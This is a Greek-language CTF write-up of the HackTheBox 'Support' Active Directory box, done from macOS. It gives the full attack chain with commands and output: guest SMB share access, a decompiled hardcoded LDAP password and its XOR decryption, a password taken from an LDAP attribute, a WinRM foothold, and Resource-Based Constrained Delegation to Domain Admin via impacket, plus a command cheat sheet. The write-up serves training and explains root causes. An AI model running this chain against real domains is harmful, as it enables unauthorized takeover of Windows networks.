Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Support

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το Support είναι ένα εύκολο box Active Directory, και τα περισσότερα walkthrough υποθέτουν host επίθεσης Windows — dnSpy, PowerView, Rubeus, Enter-PSSession πάνω από CredSSP. Εγώ το έκανα ολόκληρο από ένα Mac με Apple silicon. Το μονοπάτι είναι μια καθαρή αλυσίδα credentials με τέσσερα άλματα: ένα ανώνυμο SMB share παραδίδει ένα custom UserInfo.exe· η αποσυμπίληση του αποκαλύπτει έναν hardcoded κωδικό LDAP κρυμμένο πίσω από μια τετριμμένη ρουτίνα XOR· αυτός ο read-only λογαριασμός LDAP βρίσκει άλλον κωδικό μέσα στο attribute info του χρήστη support, ο οποίος είναι μέλος των Remote Management Users για WinRM foothold· και τέλος η συμμετοχή του support σε μια ομάδα με GenericAll πάνω στον domain controller οδηγεί μια αλυσίδα Resource-Based Constrained Delegation μέχρι το Domain Admin. Κάθε βήμα έτρεξε πάνω σε εργαλεία macOS/Linux — ilspycmd, ldapsearch, evil-winrm και pure-Python impacket.
SMB anon share → decompile UserInfo.exe → ldap (LDAP read) → info attribute → support → WinRM (user) → RBCD → DA

Αναγνώριση

Ένα πλήρες σάρωμα TCP είναι σχολικό παράδειγμα domain controller — DNS, Kerberos, LDAP, το global catalog, SMB, WinRM και ADWS. Domain support.htb, hostname DC, Windows Server 2022. Αξίζει να σημειωθεί νωρίς: η ώρα του server Kerberos στο port 88 ταίριαζε με το ρολόι του host μου, οπότε δεν χρειάστηκε καθόλου το μπερδεμα με faketime που απαιτούν κάποια boxes AD.

nmap -p-
$ nmap -Pn -sC -sV -p- --min-rate 2000 -oA scans/full <IP> 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 139/tcp open netbios-ssn 389/tcp open ldap AD LDAP (Domain: support.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open ncacn_http 636/tcp open ldaps 3268/tcp open ldap Global Catalog 5985/tcp open http WinRM (Microsoft HTTPAPI httpd 2.0) 9389/tcp open mc-nmf .NET Message Framing (ADWS)

Προσθέτουμε τον DC στο /etc/hosts εξαρχής — το Kerberos κάνει resolve τα service principal μέσω hostname, και το βήμα RBCD στο τέλος κάνει authenticate πάνω στο dc.support.htb, όχι σε μια IP:

/etc/hosts
$ echo '<IP> dc.support.htb support.htb dc DC' | sudo tee -a /etc/hosts

SMB — ένα ανώνυμο share και ένα διαρρευσμένο εργαλείο

Ένα null session κάνει authenticate αλλά δεν μπορεί να λίστάρει shares. Ένα login guest — οποιοδήποτε username, κενός κωδικός — μπορεί, και αυτή η διάκριση έχει σημασία: null και guest είναι διαφορετικά μονοπάτια auth, και τα boxes συχνά μπλοκάρουν το ένα αφήνοντας το άλλο ανοιχτό.

nxc smb --shares (guest)
$ nxc smb <IP> -u anon -p '' --shares SHARE PERMISSIONS REMARK IPC$ READ Remote IPC NETLOGON Logon server share support-tools READ support staff tools SYSVOL Logon server share

Το support-tools είναι αναγνώσιμο. Το μεγαλύτερο μέρος του περιεχομένου του είναι έτοιμες portable εφαρμογές (7-Zip, Notepad++, PuTTY, Sysinternals, Wireshark) — αλλά ένα αρχείο δεν ταιριάζει: ένα custom UserInfo.exe.zip. Εσωτερικά εργαλεία που κατέληξαν σε ένα ανοιχτό share είναι ακριβώς εκεί που ζουν τα hardcoded credentials.

λήψη και unzip
$ smbclient //<IP>/support-tools -U 'anon%' -c 'get UserInfo.exe.zip' $ unzip UserInfo.exe.zip -d UserInfo && file UserInfo/UserInfo.exe UserInfo.exe: PE32 executable ... Mono/.Net assembly, for MS Windows

Αποσυμπίληση .NET σε macOS (χωρίς dnSpy)

Το dnSpy είναι μόνο για Windows, αλλά ένα .NET assembly αποσυμπιλείται καθαρά σε macOS με το cross-platform εργαλείο γραμμής εντολών ILSpy. Εγκαθίσταται ως global tool του dotnet. Μια παγίδα με το Homebrew dotnet: το ilspycmd δεν βρίσκει το runtime εκτός αν το DOTNET_ROOT δείχνει στον φάκελο libexec (όχι στο bin).

ilspycmd
$ dotnet tool install -g ilspycmd $ export DOTNET_ROOT=/opt/homebrew/Cellar/dotnet/<ver>/libexec $ ilspycmd UserInfo/UserInfo.exe > UserInfo.decomp.cs

Κάνοντας grep στον αποσυμπιλημένο κώδικα ανάβει αμέσως. Υπάρχει ένα hardcoded username, ένας base64 «κρυπτογραφημένος» κωδικός, και μια getPassword() που τον «αποκρυπτογραφεί»:

UserInfo.decomp.cs
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"; private static byte[] key = Encoding.ASCII.GetBytes("armando"); public static string getPassword() { byte[] array = Convert.FromBase64String(enc_password); byte[] array2 = array; for (int i = 0; i < array.Length; i++) array2[i] = (byte)(array[i] ^ key[i % key.Length] ^ 0xDF); ... } // entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);

Η «κρυπτογράφηση» είναι base64 και μετά ένα byte-wise XOR έναντι του επαναλαμβανόμενου κλειδιού armando, ξανά XOR με τη σταθερά 0xDF. Το XOR είναι συμμετρικό, οπότε «αποκρυπτογράφηση» είναι απλά να τρέξεις την ίδια ρουτίνα που μας έδωσε ήδη ο κώδικας. Τρεις γραμμές Python ανακτούν τον κωδικό:

decrypt.py
$ python3 -c ' import base64 d = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E") k = b"armando" print(bytes(d[i]^k[i%len(k)]^0xDF for i in range(len(d))).decode())' nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Οπότε έχουμε τον support\ldap και τον κωδικό του σε cleartext — έναν λογαριασμό χαμηλών προνομίων, αλλά αρκετό για να διαβάσουμε τον directory.

LDAP — ένας κωδικός κρυμμένος σε ένα attribute

Το binary έκανε queries χρηστών LDAP, οπότε η φυσική επόμενη κίνηση είναι να κάνουμε enumerate τα user objects και να ψάξουμε κάτι σε ένα πεδίο που σπάνια επιθεωρείται. Το attribute info (το κουτί «Notes» στο ADUC) είναι κλασικός τόπος απόρριψης για admins που νομίζουν ότι είναι σκοτεινό. Φιλτράροντας για τον λογαριασμό support αποδίδει αμέσως:

ldapsearch — λογαριασμός support
$ ldapsearch -x -H ldap://<IP> -D 'support\ldap' -w '<ldap-pw>' \ -b 'DC=support,DC=htb' '(sAMAccountName=support)' info memberOf info: Ironside47pleasure40Watchful memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb sAMAccountName: support

Δύο δώρα σε ένα query: ένας υποψήφιος κωδικός για τον λογαριασμό support, και επιβεβαίωση ότι ο support είναι στα Remote Management Users (πρόσβαση WinRM) και στα Shared Support Accounts — η ομάδα που θα εκμεταλλευτούμε για privesc.

Foothold — WinRM ως support

Η τιμή του info είναι έγκυρο credential, και το Remote Management Users σημαίνει ότι δουλεύει πάνω από WinRM:

foothold WinRM + user.txt
$ nxc winrm <IP> -u support -p 'Ironside47pleasure40Watchful' WINRM <IP> 5985 DC [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!) $ evil-winrm -i dc.support.htb -u support -p 'Ironside47pleasure40Watchful' *Evil-WinRM* PS> type ..\Desktop\user.txt [redacted — user flag]

Privesc — Resource-Based Constrained Delegation

Το BloodHound (ή απλά διαβάζοντας το ACL της ομάδας) δείχνει ότι τα Shared Support Accounts — στα οποία ανήκει ο support — έχουν GenericAll πάνω στο computer object του domain controller, DC$. Αυτό το write primitive είναι όλο το παιχνίδι: αν μπορώ να θέσω το msDS-AllowedToActOnBehalfOfOtherIdentity στο DC$ σε ένα principal που ελέγχω, μπορώ να χρησιμοποιήσω S4U για να κάνω impersonate οποιονδήποτε χρήστη — Domain Admin συμπεριλαμβανομένου — προς υπηρεσίες στον DC. Αυτό είναι RBCD, και τρέχει από άκρη σε άκρη από Linux/macOS με impacket.

Πρώτα επιβεβαιώνουμε ότι το machine-account quota επιτρέπει τη δημιουργία ενός computer (default 10), μετά δημιουργούμε ένα για να είναι το delegate-from principal:

1 — προσθήκη ελεγχόμενου computer account
$ nxc ldap <IP> -u ldap -p '<ldap-pw>' -M maq MAQ MachineAccountQuota: 10 $ addcomputer.py support.htb/support:'Ironside47pleasure40Watchful' \ -computer-name 'ATTACK$' -computer-pass 'Password123!' -dc-ip <IP> [*] Successfully added machine account ATTACK$ with password Password123!.

Γράφουμε το attribute RBCD στο DC$ ώστε να εμπιστεύεται το ATTACK$ να ενεργεί εκ μέρους άλλων:

2 — set RBCD στο DC$
$ rbcd.py -delegate-from 'ATTACK$' -delegate-to 'DC$' -action write \ support.htb/support:'Ironside47pleasure40Watchful' -dc-ip <IP> [*] Delegation rights modified successfully! [*] ATTACK$ can now impersonate users on DC$ via S4U2Proxy

Τώρα S4U2Self+S4U2Proxy ως ATTACK$ για να κόψουμε ένα service ticket cifs/dc.support.htb ως ο Administrator:

3 — S4U → ticket administrator
$ getST.py -spn 'cifs/dc.support.htb' -impersonate administrator -dc-ip <IP> \ 'support.htb/ATTACK$:Password123!' [*] Saving ticket in administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

Δείχνουμε το KRB5CCNAME στο ccache και εκτελούμε ως SYSTEM. Εδώ είναι που η εγγραφή στο /etc/hosts δικαιολογεί την ύπαρξή της — το Kerberos κάνει authenticate έναντι του hostname SPN, οπότε ο στόχος πρέπει να είναι dc.support.htb, ποτέ μια IP:

4 — root.txt
$ export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache $ wmiexec.py -k -no-pass dc.support.htb 'type C:\Users\Administrator\Desktop\root.txt' [redacted — root flag]
Παρένθεση macOS: το interactive command pipe του psexec.py έσπασε κάτω από Python 3.14 (STATUS_PIPE_BROKEN) παρόλο που η υπηρεσία SYSTEM ξεκίνησε κανονικά. Το wmiexec.py περνάει μία εντολή καθαρά και ήταν το πιο αξιόπιστο one-shot για να διαβάσουμε το flag. Και κάνε cleanup μετά τον εαυτό σου σε πραγματικό engagement: ο λογαριασμός ATTACK$ και το attribute RBCD στο DC$ παραμένουν και τα δύο στο domain (rbcd.py -action flush, μετά διαγραφή του computer object).

Γιατί Δούλεψε

ΣτάδιοΡιζική αιτία
→ support-toolsΑνώνυμη/guest ανάγνωση SMB σε ένα share που κρατάει εσωτερικά εργαλεία (CWE-284 — ακατάλληλος έλεγχος πρόσβασης)
→ ldap credsHardcoded credential συσκοτισμένο με αντιστρέψιμο XOR + κλειδί που στάλθηκε μαζί του — obfuscation, όχι κρυπτογράφηση (CWE-798 / CWE-312)
→ support (WinRM)Κωδικός σε cleartext αποθηκευμένος στο attribute info του λογαριασμού, αναγνώσιμος από κάθε authenticated principal (CWE-522)
→ Domain AdminΜια ομάδα support κρατάει GenericAll πάνω στο DC object → εγγραφή msDS-AllowedToActOnBehalfOfOtherIdentity → RBCD (CWE-266 — over-privileged ACL)

Σημειώσεις operator — από macOS

Βασικές εντολές

γρήγορη αναφορά
# 1. ανώνυμο SMB → τράβηγμα του custom εργαλείου nxc smb <IP> -u anon -p '' --shares smbclient //<IP>/support-tools -U 'anon%' -c 'get UserInfo.exe.zip' # 2. αποσυμπίληση + XOR-decrypt του hardcoded κωδικού LDAP dotnet tool install -g ilspycmd; DOTNET_ROOT=.../libexec ilspycmd UserInfo.exe python3 -c 'import base64;d=base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E");k=b"armando";print(bytes(d[i]^k[i%len(k)]^0xDF for i in range(len(d))).decode())' # 3. ανάγνωση LDAP → κωδικός στο attribute info → WinRM (user.txt) ldapsearch -x -H ldap://<IP> -D 'support\ldap' -w '<ldap-pw>' -b 'DC=support,DC=htb' '(sAMAccountName=support)' info memberOf evil-winrm -i dc.support.htb -u support -p 'Ironside47pleasure40Watchful' # 4. RBCD μέσω GenericAll πάνω στο DC$ → Domain Admin (root.txt) addcomputer.py support.htb/support:'<pw>' -computer-name 'ATTACK$' -computer-pass 'Password123!' -dc-ip <IP> rbcd.py -delegate-from 'ATTACK$' -delegate-to 'DC$' -action write support.htb/support:'<pw>' -dc-ip <IP> getST.py -spn 'cifs/dc.support.htb' -impersonate administrator -dc-ip <IP> 'support.htb/ATTACK$:Password123!' KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache wmiexec.py -k -no-pass dc.support.htb
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗